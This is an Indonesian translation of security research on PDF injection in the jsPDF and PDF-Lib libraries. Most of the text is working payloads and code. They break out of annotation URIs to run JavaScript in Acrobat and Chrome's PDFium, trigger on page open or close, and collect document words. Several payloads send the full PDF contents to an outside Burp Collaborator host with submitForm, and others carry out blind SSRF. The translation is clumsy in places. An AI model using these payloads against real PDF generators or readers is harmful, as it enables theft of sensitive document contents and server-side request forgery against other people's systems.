Ekstraksi Data Portabel ( XSS untuk PDF) - CRUDPRO

Ekstraksi Data Portabel ( XSS untuk PDF)

Dokumen PDF dan generator PDF ada di mana-mana di Web, begitu pula kerentanan injeksi. Tahukah Anda bahwa mengendalikan beberapa hyperlink HTTP dapat memberikan pijakan untuk cara kerja internal PDF? Dalam pembahasan ini, Anda akan mempelajari cara menggunakan satu tautan untuk mengkompromikan konten PDF dan membobol server jarak jauh, seperti serangan XSS blind.

Saya akan menunjukkan cara menyisipkan kode PDF untuk menghindari objek, membajak tautan, dan menjalankan JavaScript arbitrer. Ini pada dasarnya XSS dalam lingkup dokumen PDF. Kami akan mengevaluasi beberapa pustaka PDF populer untuk serangan injeksi dan PDFium dari pembaca paling populer Acrobat dan Chrome. Pelajari cara membuat "alert(1)" injeksi PDF dan cara meningkatkannya untuk menyuntikkan JavaScript yang dapat mencuri konten PDF di kedua pembaca.

Gunakan enumerator JavaScript khusus pada berbagai objek PDF untuk membagikan bagaimana Anda dapat mendeteksi fungsi yang membuat permintaan eksternal dan mengekstrak data dari PDF. Bahkan PDF yang dimuat dari sistem file Acrobat dengan perlindungan yang lebih ketat dapat dibuat untuk membuat permintaan eksternal. Kami telah berhasil membuat injeksi yang dapat melakukan serangan SSRF di sisi server yang dirender dalam PDF. Juga, saya dapat membaca konten file dari domain yang sama meskipun agen pengguna Acrobat diblokir oleh WAF. Terakhir, saya akan menunjukkan cara mencuri konten PDF tanpa interaksi pengguna, dan bagaimana menyimpulkan dengan PDF hibrida yang bekerja dengan PDFium dan Acrobat.

pembahasan ini juga tersedia sebagai PDF yang dapat dicetak dan sebagai versi "Director's Cut" dari presentasi yang ditayangkan perdana di Black Hat Europe 2020.

Kata pengantar

Semuanya dimulai ketika rekan saya James "albinowax" Kettle sedang menonton acara tentang enkripsi PDF di Black Hat. Dia melihat slide dan berpikir, "Ini pasti bisa disuntikkan." Ketika dia kembali ke kantor, kami berbicara tentang injeksi PDF. Pada awalnya, saya menolaknya karena tidak mungkin. Saya tidak dapat memasukkan referensi objek yang benar karena saya tidak tahu struktur PDF. Secara teoritis, Anda bisa melakukan ini dengan memasukkan tabel xref yang sama sekali baru, tetapi itu tidak benar-benar berfungsi karena tabel baru diabaikan begitu saja, Pada awalnya Anda mungkin berpikir bahwa ide itu tidak mungkin, tetapi itu tidak menghentikan kami.

Sebelum memulai tes, saya memiliki beberapa tujuan penelitian dalam pikiran. Mengingat input pengguna ke PDF, apakah mungkin untuk memecahkannya dan menyebabkan kesalahan penguraian? Bisakah saya menjalankan JavaScript atau mencuri konten PDF? Saya ingin menguji dua jenis injeksi, terinformasi dan blind. Injeksi yang diinformasikan adalah ketika Anda mengetahui struktur PDF (misalnya, karena Anda dapat melihat sendiri PDF yang dihasilkan). Injeksi blind, seperti XSS blind, tidak memiliki pengetahuan tentang struktur atau konten PDF.

Teori injeksi

Bagaimana input pengguna bisa masuk ke dalam PDF?

Pembuatan PDF sisi server ada di mana-mana. Ada di e-tiket, kuitansi, boarding pass, faktur, slip pembayaran,daftarnya berlanjut. Oleh karena itu, ada banyak peluang bagi input pengguna untuk masuk ke dalam dokumen PDF. Target yang paling mungkin untuk injeksi adalah aliran teks atau anotasi. Objek ini memungkinkan pengembang untuk menyematkan teks atau URI dalam tanda kurung. Jika pengguna jahat dapat menyisipkan tanda kurung, ia dapat menyisipkan kode PDF dan berpotensi memasukkan objek atau tindakan PDF berbahayanya sendiri.

Mengapa Anda mencoba memasukkan kode PDF?

Pertimbangkan aplikasi di mana banyak pengguna bekerja dengan PDF bersama yang berisi informasi sensitif seperti detail bank. Jika Anda dapat mengontrol sebagian PDF melalui injeksi, itu dapat mencuri seluruh konten file saat pengguna lain mengakses file atau memanipulasi file dengan cara apa pun. Ini bekerja seperti serangan XSS tradisional, tetapi dalam lingkup dokumen PDF.

Mengapa saya tidak bisa memasukkan konten apa pun?

Pikirkan injeksi PDF sama dengan injeksi XSS dalam panggilan fungsi JavaScript. Dalam hal ini, Anda perlu memverifikasi bahwa sintaks tersebut valid dengan menutup tanda kurung sebelum injeksi dan memperbaiki tanda kurung setelah injeksi. Prinsip yang sama berlaku untuk injeksi PDF, kecuali bahwa itu menyuntikkan di dalam nilai kamus seperti aliran teks dan URI anotasi daripada panggilan fungsi.

Metodologi

Saya merancang metodologi berikut untuk injeksi PDF: identifikasi, konstruksi, dan penyalahgunaan.

Identifikasi

Pertama, Anda perlu mengidentifikasi apakah library generasi PDF lolos dari tanda kurung atau tanda yen. Anda juga dapat menggunakan karakter multibyte, termasuk 0x5c (garis miring terbalik) atau 0x29 (tanda kurung), untuk menghasilkan karakter ini dengan harapan library akan secara tidak sengaja mengubahnya menjadi karakter bita tunggal. Cara lain yang mungkin untuk menghasilkan tanda kurung atau tanda yen adalah dengan menggunakan karakter di luar rentang ASCII. Ini dapat menyebabkan luapan jika library salah menangani karakter. Selanjutnya, Anda perlu melihat apakah Anda dapat memasukkan karakter null, penanda EOF, atau komentar untuk memecah struktur PDF.

Membangun

Setelah Anda mengonfirmasi bahwa Anda dapat memengaruhi struktur PDF, Anda perlu membuat injeksi yang mengonfirmasi bahwa Anda mengontrol bagian dari PDF. Ini dapat dilakukan dengan memanggil "app.alert(1)" dalam JavaScript PDF atau dengan membuat permintaan POST ke URL eksternal menggunakan tindakan/fungsi submitForm. Ini berguna untuk skenario injeksi blind.

Mengeksploitasi

Setelah Anda memverifikasi bahwa injeksi dimungkinkan, Anda dapat memanfaatkannya untuk mencuri konten PDF. Anda harus mengirimkan flag atau parameter yang benar, bergantung pada apakah Anda ingin menyisipkan tindakan SubmitForm atau menggunakan fungsi JavaScript submitForm. Kami akan menunjukkan cara melakukannya nanti dalam pembahasan ini tentang cara memanfaatkan injeksi.

library yang rentan

Saat melakukan penelitian ini, saya mencoba sekitar 8 library yang berbeda. Dari jumlah tersebut, saya menemukan dua yang rentan terhadap injeksi PDF. PDF-Lib dan jsPDF, keduanya adalah modul npm. Jumlah unduhan PDF-Lib melebihi 52.000 setiap minggu, dan jumlah unduhan jsPDF melebihi 250.000. Setiap library tampaknya keluar dari aliran teks dengan benar, tetapi membuat kesalahan dengan mengizinkan injeksi PDF dalam anotasi. Berikut ini adalah contoh cara membuat anotasi di PDF-Lib.

const linkAnnotation = pdfDoc.context.obj({
      Type: 'Annot',
      Subtype: 'Link',
      Rect: [50, height - 95, 320, height - 130],
      Border: [0, 0, 2],
      C: [0, 0, 1],
      A: {
        Type: 'Action',
        S: 'URI',
        URI: PDFString.of(`/input`),//vulnerable code
      }
      })

Seperti yang Anda lihat dalam contoh kode, PDF-Lib memiliki fungsi pembantu yang menghasilkan string PDF, tetapi tidak luput dari tanda kurung. Oleh karena itu, jika pengembang menempatkan input pengguna di dalam URI, penyerang dapat membuat dan memasukkan kode PDF-nya sendiri. Pustaka lain, jsPDF, memiliki masalah yang sama, tetapi kali ini ada di properti url dari kode pembuatan anotasi.

var doc = new jsPDF();
    doc.text(20, 20, 'Hello world!');
    doc.addPage('a6','l');
    doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:'/input'});//vulnerable code

Gunakan injeksi

Sebelum mendemonstrasikan vektor yang kita temukan, mari kita lihat perjalanan yang kita lakukan untuk menemukannya. Pertama, kami akan menunjukkan cara menjalankan JavaScript dan mencuri konten PDF dari injeksi. Pelajari bagaimana Acrobat memecahkan masalah pelacakan dan pencurian PDF saat dibuka dari sistem file, dan bagaimana Anda dapat melakukan anotasi tanpa campur tangan pengguna. Kemudian saya akan menjelaskan mengapa injeksi ini gagal di Chrome dan bagaimana cara membuatnya bekerja. Saya harap Anda menikmati perjalanan saya dengan injeksi.

Acrobat

Langkah pertama adalah menguji pustaka PDF, jadi saya mengunduh PDFKit dan membuat serangkaian PDF uji untuk melihat hasilnya. Hal pertama yang menonjol adalah objek teks. Jika Anda memiliki injeksi di aliran teks, Anda dapat menggunakan kurung kurawal untuk keluar dari teks dan menyuntikkan kode PDF Anda sendiri. Objek teks PDF terlihat seperti ini:

Perhatikan bahwa BT menunjukkan awal dari objek teks /F13 mengatur font,12 menentukan ukuran, dan Tf adalah operator sumber daya font (dalam kode PDF, operator cenderung mengikuti parameter).

Angka setelah Tf adalah awal halaman. Operator Td menggunakan angka-angka ini untuk menentukan posisi teks pada halaman. Tanda kurung kurawal memulai teks yang ditambahkan ke halaman. "ABC" adalah teks sebenarnya dan kurung kurawal mengakhiri string teks. Tj adalah operator tampilan teks dan ET mengakhiri objek teks. Dengan mengontrol karakter dalam tanda kurung, Anda dapat keluar dari string teks dan memasukkan kode PDF.

Saya mencoba semua teknik yang disebutkan dalam metodologi menggunakan PDFKit, PDF Make, dan FPDF, tetapi tidak berhasil. Pada titik ini, saya menghentikan penelitian saya dan melakukan sesuatu yang lain untuk sementara waktu. Saya sering melakukan ini ketika saya menemui jalan buntu. Tidak baik membuang waktu untuk penelitian yang tidak menghasilkan apa-apa jika tidak ada yang salah. Sangat membantu untuk kembali dengan hati yang segar nanti. Sangat bagus untuk menjadi permanen, tetapi jangan jatuh ke dalam perangkap diulang tanpa hasil.

PDF-Lib

Dengan perasaan segar, saya memutuskan untuk melakukan riset lagi dan mempelajari spesifikasi PDF. Seperti halnya XSS, injeksi PDF dapat terjadi dalam berbagai konteks. Sejauh ini kami hanya melihat aliran teks, tetapi terkadang input pengguna ditempatkan di dalam tautan. Anotasi menonjol bagi saya karena memungkinkan pengembang membuat tautan seperti jangkar ke teks dan objek PDF. Saya sekarang menggunakan library PDF ke-4. Kali ini saya menggunakan PDFLib. Butuh beberapa saat bagi saya untuk membuat anotasi menggunakan library dan melihat apakah saya bisa memasukkan tanda kurung kurawal di URI anotasi-dan itu berhasil! Berikut ini adalah contoh kode rentan yang digunakan untuk menghasilkan kode anotasi.

...  
    A: {
        Type: 'Action',
        S: 'URI',
        URI: PDFString.of(`injection)`),
      }
      })
    ...  
Kode lengkap:

Bagaimana Anda tahu bahwa injeksi itu berhasil? Kecuali Anda memasukkan kurung kurawal, PDF akan ditampilkan dengan benar. Ini membuktikan bahwa kurung kurawal keluar dari string dan menyebabkan kode PDF tidak valid. Sangat menyenangkan untuk memecahkan PDF, tetapi tentu saja saya harus dapat menjalankan JavaScript. Melihat kode PDF yang diberikan, saya menemukan bahwa output dikodekan menggunakan filter FlateDecode. Saya membuat skrip kecil untuk mengecilkan blok. Output dari bagian anotasi terlihat seperti ini:

<<
    /Type /Annot
    /Subtype /Link
    /Rect [ 50 746.89 320 711.89 ]
    /Border [ 0 0 2 ]
    /C [ 0 0 1 ]
    /A <<
    /Type /Action
    /S /URI
    /URI (injection))
    >>
    >>

Seperti yang Anda lihat, string injeksi menutup batas teks dengan tanda kurung tutup. Ini akan meninggalkan kurung kurawal yang ada dan PDF tidak akan ditampilkan dengan benar.

Sangat bagus sehingga saya bisa memecahkan rendering PDF. Saya harus membuat injeksi yang memanggil JavaScript (peringatan injeksi PDF(1)).

Sama seperti vektor XSS bergantung pada penguraian browser, potensi eksploitasi injeksi PDF dapat bergantung pada perender PDF. Saya pikir vektor tidak mungkin berfungsi di Chrome, jadi saya memutuskan untuk memulai dengan menargetkan Acrobat. Dua hal yang saya perhatikan: 1) Anda dapat memasukkan tindakan anotasi tambahan. 2) Perbaiki kurung kurawal yang ada dan PDF akan ditampilkan. Setelah beberapa eksperimen, saya menemukan muatan yang bagus yang menyisipkan tindakan anotasi tambahan, menjalankan JavaScript, dan memperbaiki kurung kurawal penutup.

/blah)>>/A<</S/JavaScript/JS(app.alert(1);)/Type/Action>>/>>(

Pertama-tama hapus tanda kurung, lalu gunakan >> untuk menghapus kamus, lalu mulai kamus anotasi baru. /S/JavaScript didasarkan pada anotasi, dan /JS adalah tempat JavaScript disimpan. JavaScript sebenarnya ada dalam tanda kurung. Perhatikan bahwa Anda tidak perlu keluar dari tanda kurung jika seimbang. Terakhir, tambahkan jenis anotasi, lengkapi kamus, dan perbaiki kurung kurawal. Ini sangat keren. Anda dapat membuat injeksi yang mengeksekusi JavaScript, tetapi bagaimana dengan itu? Saya dapat menjalankan JavaScript, tetapi saya tidak dapat membaca cookie karena saya tidak dapat mengakses DOM. Kemudian James muncul dan menyarankan untuk mencuri konten PDF dari injeksi. Saya mulai mencari cara untuk mendapatkan konten PDF. Di Acrobat, saya menemukan bahwa saya dapat menggunakan JavaScript untuk mengirimkan formulir tanpa interaksi pengguna. Melihat spesifikasi JavaScript API, sangat mudah untuk memodifikasi injeksi dasar dan menambahkan JavaScript untuk mengirim seluruh konten kode PDF ke server eksternal dalam permintaan POST.

/blah)>>/A<</S/JavaScript/JS(app.alert(1);
    this.submitForm({
    cURL: 'https://your-id.burpcollaborator.net',cSubmitAs:'PDF'}))
    /Type/Action>>/>>(

Tidak diperlukan peringatan. Ditambahkan untuk membuktikan bahwa injeksi mengeksekusi JavaScript.

Kemudian, untuk bersenang-senang, saya mempertimbangkan untuk mencuri konten PDF tanpa menggunakan JavaScript. Dari spesifikasi PDF, saya menemukan bahwa saya dapat menggunakan tindakan yang disebut SubmitForm. Saya menggunakan ini sebelumnya ketika saya membuat PDF untuk pemeriksaan pemindaian dengan Burp Suite. Itu melakukan persis apa arti namanya. Ada juga entri Bendera dalam kamus untuk mengontrol apa yang dikirim. Kunci kamus Flags menerima nilai integer tunggal, tetapi setiap pengaturan individu dikendalikan oleh bit biner. Cara yang baik untuk bekerja dengan pengaturan ini adalah dengan menggunakan literal biner ES6 baru. Literal biner harus memiliki panjang 14 bit karena total ada 14 flag. Dalam contoh berikut, semua pengaturan dinonaktifkan.

0b00000000000000

Untuk mengatur flag, Anda harus terlebih dahulu melihat posisi bitnya (Tabel 237 dalam spesifikasi PDF). Dalam hal ini, atur bendera Kirim PDF. Ini dikendalikan oleh bit ke-9, jadi kita perlu menghitung 9 bit dari kanan.

0b00000100000000

Jika Anda mengevaluasi ini dengan JavaScript, nilai desimalnya adalah 256. Artinya, menyetel entri Bendera ke 256 mengaktifkan bendera KirimPDF dan mengirimkan konten PDF saat formulir dikirimkan. Cukup gunakan injeksi dasar yang Anda buat sebelumnya dan ubah untuk memanggil tindakan SubmitForm alih-alih JavaScript.

/blah)>>/A<</S/SubmitForm/Flags 256/F(
    https://your-id.burpcollaborator.net)
    /Type/Action>>/>>(

jsPDF

Kemudian saya menerapkan metodologi saya ke library PDF lain (jsPDF) dan ternyata juga rentan. Menggunakan library ini sangat menyenangkan karena memiliki API yang dapat dijalankan di browser dan menghasilkan PDF secara real time saat Anda mengetik. Saya perhatikan bahwa saya lupa untuk menghindari tanda kurung di URL anotasi, seperti library PDP-Lib. Di sini, properti url rentan:

doc.createAnnotation({bounds:
    {x:0,y:10,w:200,h:200},
    type:'link',url:`/input`});
           //vulnerable

Jadi saya menggunakan API untuk menghasilkan PDF dan memasukkan kode PDF ke dalam properti url.

var doc = new jsPDF();
    doc.text(20, 20, 'Hello world!');
    doc.addPage('a6','l');
    doc.createAnnotation({bounds:
    {x:0,y:10,w:200,h:200},type:'link',url:`
    /blah)>>/A<</S/JavaScript/JS(app.alert(1);)/Type/Action/F 0/(    
    `});

Mengurangi vektor dengan menghapus entri tipe kamus dan entri F yang tidak perlu. Kemudian saya membiarkan tanda kurung gantung ditutup dengan tanda kurung yang ada. Penting untuk mengurangi ukuran injeksi, karena aplikasi web yang Anda injeksi mungkin hanya dapat menggunakan karakter dalam jumlah terbatas.

/blah)>>/A<</S/JavaScript/JS(app.alert(1)

Kemudian kami menemukan bahwa adalah mungkin untuk mengurangi vektor lebih lanjut. Acrobat memungkinkan entri URI dan JavaScript dalam satu tindakan anotasi dan menjalankan JavaScript dengan benar.

/)/S/JavaScript/JS(app.alert(1)

Penelitian lebih lanjut telah mengungkapkan bahwa adalah mungkin untuk menyisipkan beberapa anotasi. Artinya, Anda tidak hanya dapat menyisipkan tindakan, tetapi juga memisahkan anotasi dan menentukan koordinat rect Anda sendiri untuk memilih bagian dokumen mana yang ingin Anda klik. Dengan menggunakan teknik ini, saya dapat membuat seluruh dokumen dapat diklik.

/) >> >>
    <</Type /Annot /Subtype /Link /Rect [0.00 813.54 566.93 -298.27] /Border [0 0
0] /A <</S/SubmitForm/Flags 0/F(https://your-id.burpcollaborator.net

Tulis pencacah

Langkah selanjutnya adalah melihat bagaimana Acrobat menangani PDF yang dimuat dari sistem file daripada disajikan langsung dari situs web. Dalam hal ini, ada lebih banyak batasan. Misalnya, saat Anda mencoba mengirimkan formulir ke URL eksternal, Anda sekarang diminta untuk mengonfirmasi secara manual bahwa pengguna mengirimkan formulir. Untuk mengatasi batasan ini, saya membuat enumerator/ayah yang memanggil setiap fungsi di setiap objek untuk melihat apakah fungsi tersebut dapat terhubung ke server eksternal tanpa interaksi pengguna.

var doc = new jsPDF();
    doc.text(20, 20, 'Hello world!');
    doc.addPage('a6','l');
    doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`/blah)>>/A<</S/JavaScript/JS(
        ...
        for(i in obj){
            try {
                if(i==='console' || i === 'getURL' || i === 'submitForm'){
                    continue;
                }
                if(typeof obj[i] != 'function') {
                    console.println(i+'='+obj[i]);
                }
                try {
                    console.println('call:'+i+'=>'+'='+obj[i]('http://your-id-'+i+'.burpcollaborator.net?'+i,2,3));
    ...    

Kode lengkap

Enumerator pertama-tama mengeksekusi for loop pada objek global "this". Saya melewatkan metode objek getURL, submitForm, dan konsol karena saya diminta dan tahu bahwa saya tidak dapat terhubung ke server eksternal tanpa mengklik Izinkan. Blok try-catch digunakan untuk mencegah loop gagal jika pengecualian dilemparkan karena fungsi tidak dapat dipanggil atau properti bukan fungsi yang valid. Burp Collaborator digunakan untuk memeriksa apakah server telah berhasil terhubung. Tambahkan kunci yang dicentang di subdomain sehingga Kolaborator akan menunjukkan properti yang diizinkan untuk berinteraksi dengannya.

Menggunakan ayah ini, saya menemukan metode yang dapat dipanggil yang terhubung ke server eksternal. CBSharedReviewIfOfflineDialog melakukan operasi DNS tanpa pengguna mengklik Izinkan. Anda kemudian dapat menggunakan DNS untuk mencuri konten PDF dan informasi lainnya. Namun, injeksi menggunakan tindakan anotasi, sehingga masih memerlukan klik.

Lakukan anotasi tanpa interaksi

Sejauh ini, vektor yang saya tunjukkan perlu diklik untuk mengaktifkan aksi dari anotasi. James biasanya mengajukan pertanyaan, "Bisakah itu berjalan secara otomatis?" Setelah memeriksa spesifikasi PDF, saya melihat beberapa fitur anotasi yang menarik.

"Anda dapat menggunakan entri PV dan PI untuk membedakan antara halaman yang terbuka dan yang ditampilkan. Aplikasi penampil selalu menganggap hanya satu halaman yang terbuka, tetapi beberapa halaman memiliki beberapa halaman. Dapat ditampilkan. Tata letak."

Saat Anda menambahkan entri PV ke kamus, Acrobat secara otomatis meluncurkan anotasi. Tidak hanya itu, Anda juga dapat menggunakan entri PC untuk mengeksekusi payload secara otomatis saat menutup dokumen PDF. Membuka dan menutup PDF dapat memungkinkan penyerang melacak Anda.

Berikut cara melakukannya secara otomatis dari anotasi:

var doc = new jsPDF();
    doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`/)
            >> >>
    <</Subtype /Screen /Rect [0 0 900 900] /AA <</PV            <</S/JavaScript/JS(app.alert(1))>>/(`});
    doc.text(20, 20, 'Auto execute');    

    Saat Anda menutup PDF, Anda akan melihat anotasi berikut:

    var doc = new jsPDF();
    doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`/)            >> >>
    <</Subtype /Screen /Rect [0 0 900 900] /AA <</PC            <</S/JavaScript/JS(app.alert(1))>>/(`});
    doc.text(20, 20, 'Close me');

kromium

Saya telah berbicara banyak tentang Acrobat, tetapi bagaimana dengan PDFium (pembaca PDF Chrome)? Chrome membutuhkan perhatian. Dukungan JavaScript lebih terbatas daripada Acrobat, sehingga permukaan serangan jauh lebih kecil. Hal pertama yang saya perhatikan adalah bukti konsep tidak berfungsi karena JavaScript tidak berjalan sama sekali di anotasi. Agar vektor berfungsi di Chrome, saya setidaknya harus menjalankan JavaScript di dalam anotasi. Tapi pertama-tama, saya memutuskan untuk menimpa URL anotasi. Ini sangat mudah. Anda dapat menggunakan injeksi dasar yang muncul sebelumnya untuk menyuntikkan tindakan lain dengan entri URI yang menimpa URL yang ada.

var doc = new jsPDF();
    doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`/blah)>>/A<</S/URI/URI(https://portswigger.net)
    /Type/Action>>/F 0>>(`});
    doc.text(20, 20, 'Test text');  

Klik untuk pergi ke portswigger.net. Kemudian saya mencoba injeksi lain untuk memanggil JavaScript, tetapi ini selalu gagal. Saya pikir itu tidak mungkin. Saya mundur selangkah dan mencoba membuat seluruh PDF secara manual yang memanggil JavaScript dari klik Chrome tanpa injeksi. Saat menggunakan tombol AcroForm, Chrome mengizinkan JavaScript untuk berjalan, tetapi masalahnya adalah ia memerlukan referensi ke bagian PDF. Saya dapat membuat injeksi yang mengeksekusi JavaScript hanya dengan mengklik JSPDF.

var doc = new jsPDF();
    doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`/)            >> >> <</BS<</S/B/W 0>>/Type/Annot/MK<</BG[ 0.825 0.8275            0.8275]/CA(Submit)>>/Rect [ 72 697.8898 144 676.2897]/Subtype/Widget/AP<</N            <</Type/XObject/BBox[ 0 0 72 21.6]/Subtype/Form>>>>/Parent <</Kids[ 3 0 R]/Ff            65536/FT/Btn/T(test)>>/H/P/A<</S/JavaScript/JS(app.alert(1))/Type/Action/F 4/DA(blah`});
    doc.text(20, 20, 'Click me test');

Seperti yang Anda lihat, vektor di atas membutuhkan pengetahuan tentang struktur PDF. [30 R] menunjuk ke objek PDF tertentu, dan jika Anda melakukan serangan injeksi PDF blind, Anda tidak tahu strukturnya. Namun, langkah selanjutnya adalah mencoba mengirimkan formulir. Anda dapat menggunakan fungsi submitForm untuk ini. Anotasi memerlukan klik, sehingga Chrome memungkinkan Anda untuk:

/) >> >> <</BS<</S/B/W 0>>/Type/Annot/MK<</BG[            0.0 813.54 566.93 -298.27]/CA(Submit)>>/Rect [ 72 697.8898 144 676.2897]/Subtype/Widget/AP<</N            <</Type/XObject/BBox[ 0 0 72 21.6]/Subtype/Form>>>>/Parent <</Kids[ 3 0 R]/Ff            65536/FT/Btn/T(test)>>/H/P/A<</S/JavaScript/JS(app.alert(1);this.submitForm('https://your-id.burpcollaborator.net'))/Type/Action/F            4/DA(blah

Ini berfungsi, tetapi membosankan dan membutuhkan pengetahuan tentang struktur PDF. Anda dapat secara signifikan mengurangi ini dan menghapus ketergantungan pada struktur PDF.

#) >> >> <</BS<</S/B/W 0>>/Type/Annot/MK<</BG[ 0            0 889 792]/CA(Submit)>>/Rect [ 0 0 889 792]/Subtype/Widget/AP<</N            <</Type/XObject/Subtype/Form>>>>/Parent <</Kids[ ]/Ff            65536/FT/Btn/T(test)>>/H/P/A<</S/JavaScript/JS(
        app.alert(1)
        )/Type/Action/F 4/DA(blah

Masih ada beberapa kode yang bisa dihilangkan.

var doc = new jsPDF();
    doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`#)>>>><</Type/Annot/Rect[            0 0 900            900]/Subtype/Widget/Parent<</FT/Btn/T(A)>>/A<</S/JavaScript/JS(app.alert(1))/(`});
    doc.text(20, 20, 'Test text');

Kode di atas memisahkan anotasi, membuat anotasi baru, dan membuat seluruh halaman dapat diklik. Untuk menjalankan JavaScript, Anda perlu memasukkan tombol dan memasukkan teks menggunakan entri "T". Terakhir, Anda dapat memasukkan kode JavaScript menggunakan entri JS dalam kamus. Menjalankan JavaScript di Chrome sangat bagus. Ketika saya memulai studi ini, saya tidak berpikir itu mungkin.

Selanjutnya, saya melihat fungsi submitForm untuk mencuri konten PDF. Saya tahu saya dapat memanggil suatu fungsi dan terhubung ke server eksternal, seperti yang ditunjukkan pada salah satu contoh di atas, tetapi apakah itu mendukung spesifikasi lengkap Acrobat? Saya melihat kode sumber PDFium, tetapi fungsi ini tidak mendukung SubmitAsPDF: (Saya melihat bahwa itu mendukung FDF, tapi sayangnya ini tidak mengirim konten PDF. Cara lain saya mencarinya, tapi saya tidak mengerti. Objek tersedia. Saya mengambil pendekatan yang sama seperti yang saya lakukan di Acrobat dan membuat ayah / enumerator untuk menemukan objek menarik. Dapatkan informasi dari Chrome. Itu lebih sulit dilakukan daripada Acrobat. Saya harus mengumpulkan informasi dalam potongan sebelum menggunakan fitur alert untuk menampilkannya, karena fitur alert memotong string yang dikirim.

...
    doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`#)>>            <</Type/Annot/Rect[0 0 900            900]/Subtype/Widget/Parent<</FT/Btn/T(a)>>/A<</S/JavaScript/JS(
    (function(){
    var obj = this,
        data = '',
        chunks = [],
        counter = 0,
        added = false, i, props = [];
        for(i in obj) {
            props.push(i);
        }
    ...    
    Kode lengkap

Saya memeriksa output enumerator dan mencoba memanggil berbagai fungsi untuk tujuan mengumpulkan informasi dari permintaan eksternal dan PDF. Akhirnya, saya menemukan fungsi yang sangat menarik bernama getPageNthWord yang dapat mengekstrak kata-kata dari dokumen PDF dan mencuri konten. Fungsi ini memiliki bug halus sehingga kata pertama tidak dapat diekstraksi. Tetapi sebagian besar waktu, itu mengekstrak sebagian besar kata-kata:

var doc = new jsPDF();
    doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`#)>>            <</Type/Annot/Rect[0 0 900            900]/Subtype/Widget/Parent<</FT/Btn/T(a)>>/A<</S/JavaScript/JS(
    words = [];
    for(page=0;page<this.numPages;page++) {
        for(wordPos=0;wordPos<this.getPageNumWords(page);wordPos++) {
            word = this.getPageNthWord(page, wordPos, true);
            words.push(word);
        }
    }
    app.alert(words);
        `});
    doc.text(20, 20, 'Click me test');
    doc.text(20, 40, 'Abc Def');
    doc.text(20, 60, 'Some word');

Saya sangat senang bisa mencuri konten PDF di Chrome karena saya tidak pernah berpikir itu akan mungkin. Gabungkan ini dengan vektor submitForm untuk memungkinkan data dikirim ke server eksternal. Satu-satunya downside adalah bahwa hal itu membutuhkan klik. Saya bertanya-tanya apakah saya bisa menjalankan JavaScript tanpa mengklik Chrome. Melihat kembali spesifikasi PDF, saya perhatikan bahwa ada entri lain dalam kamus anotasi yang disebut "E". Ini akan melakukan anotasi ketika mouse memasuki area anotasi. Ini pada dasarnya adalah acara mouseover. Sayangnya, ini tidak dihitung sebagai operasi pengguna untuk mengaktifkan pengiriman formulir. Jadi Anda dapat menjalankan JavaScript, tetapi Anda tidak dapat mengirim data ke server eksternal, sehingga Anda tidak dapat melakukan apa pun dengan data tersebut. Jika Anda dapat meminta Chrome mengirimkan data kepada Anda di acara ini, beri tahu kami agar kami dapat mengetahui caranya. Bagaimanapun, kode yang memicu tindakan mouse di atas adalah:

var doc = new jsPDF();
    doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`/)            >> >>
    <</Type /Annot /Subtype /Widget /Parent<</FT/Btn/T(a)>> /Rect [0 0            900 900] /AA <</E <</S/JavaScript/JS(app.alert(1))>>/(`});
    doc.text(20, 20, 'Test');

PDFium / Acrobat SSRF

Anda dapat mengirim permintaan POST di PDFium/Acrobat untuk melakukan serangan SSRF. Anda dapat membuat permintaan POST, tetapi Anda tidak dapat membaca tanggapannya, jadi ini adalah SSRF blind. Untuk membuat permintaan POST, gunakan kunci kamus induk/seperti yang ditunjukkan sebelumnya untuk menetapkan elemen formulir ke anotasi dan mengaktifkan eksekusi JavaScript. Namun, alih-alih menggunakan tombol seperti sebelumnya, Anda dapat menetapkan bidang teks (/Tx) menggunakan nama parameter (/T) dan kunci kamus nilai parameter (/V). Perhatikan bahwa Anda harus meneruskan nama parameter yang ingin Anda gunakan sebagai larik ke fungsi submitForm.

#)>>>><</Type/Annot/Rect[ 0 0 900            900]/Subtype/Widget/Parent<</FT/Tx/T(foo)/V(bar)>>/A<</S/JavaScript/JS(
    app.alert(1);
    this.submitForm('https://aiws4u6uubgfdag94xvc5wbrfilc91.burpcollaborator.net', false,            false, ['foo']);
    )/(

Anda juga dapat mengirim baris baru yang mentah. Ini berguna untuk merantai serangan lain seperti penyelundupan permintaan. Anda dapat melihat hasil permintaan POST pada permintaan Collaborator berikut.

Akhirnya, saya ingin mengakhiri dengan injeksi hibrida Chrome dan Acrobat PDF. Bagian pertama adalah memasukkan JavaScript ke dalam anotasi yang ada dan menjalankan JavaScript di Acrobat. Bagian kedua memisahkan anotasi dan menyisipkan anotasi baru yang menentukan area baru yang dapat diklik di Chrome. Gunakan trik Acroform lagi untuk menyisipkan tombol sehingga JavaScript dijalankan.

var doc = new jsPDF();
    doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`#)/S/JavaScript/JS(app.alert(1))/Type/Action>>            >> <</Type/Annot/Rect[0 0 900            700]/Subtype/Widget/Parent<</FT/Btn/T(a)>>/A<</S/JavaScript/JS(app.alert(1)`});
    doc.text(20, 20, 'Click me Acrobat');
    doc.text(20, 60, 'Click me Chrome');  

Unggah PDF teknik "formcalc"

Saat melakukan penelitian ini, saya menemukan aplikasi HR yang memungkinkan pengunggahan dokumen PDF. PDF belum divalidasi oleh aplikasi dan JavaScript apa pun dapat disematkan dalam file PDF. Saya ingat teknik hebat dengan @InsertScript. Ini memungkinkan saya untuk membuat permintaan dari file PDF dan menggunakan formcalc untuk membaca sumber asal yang sama.

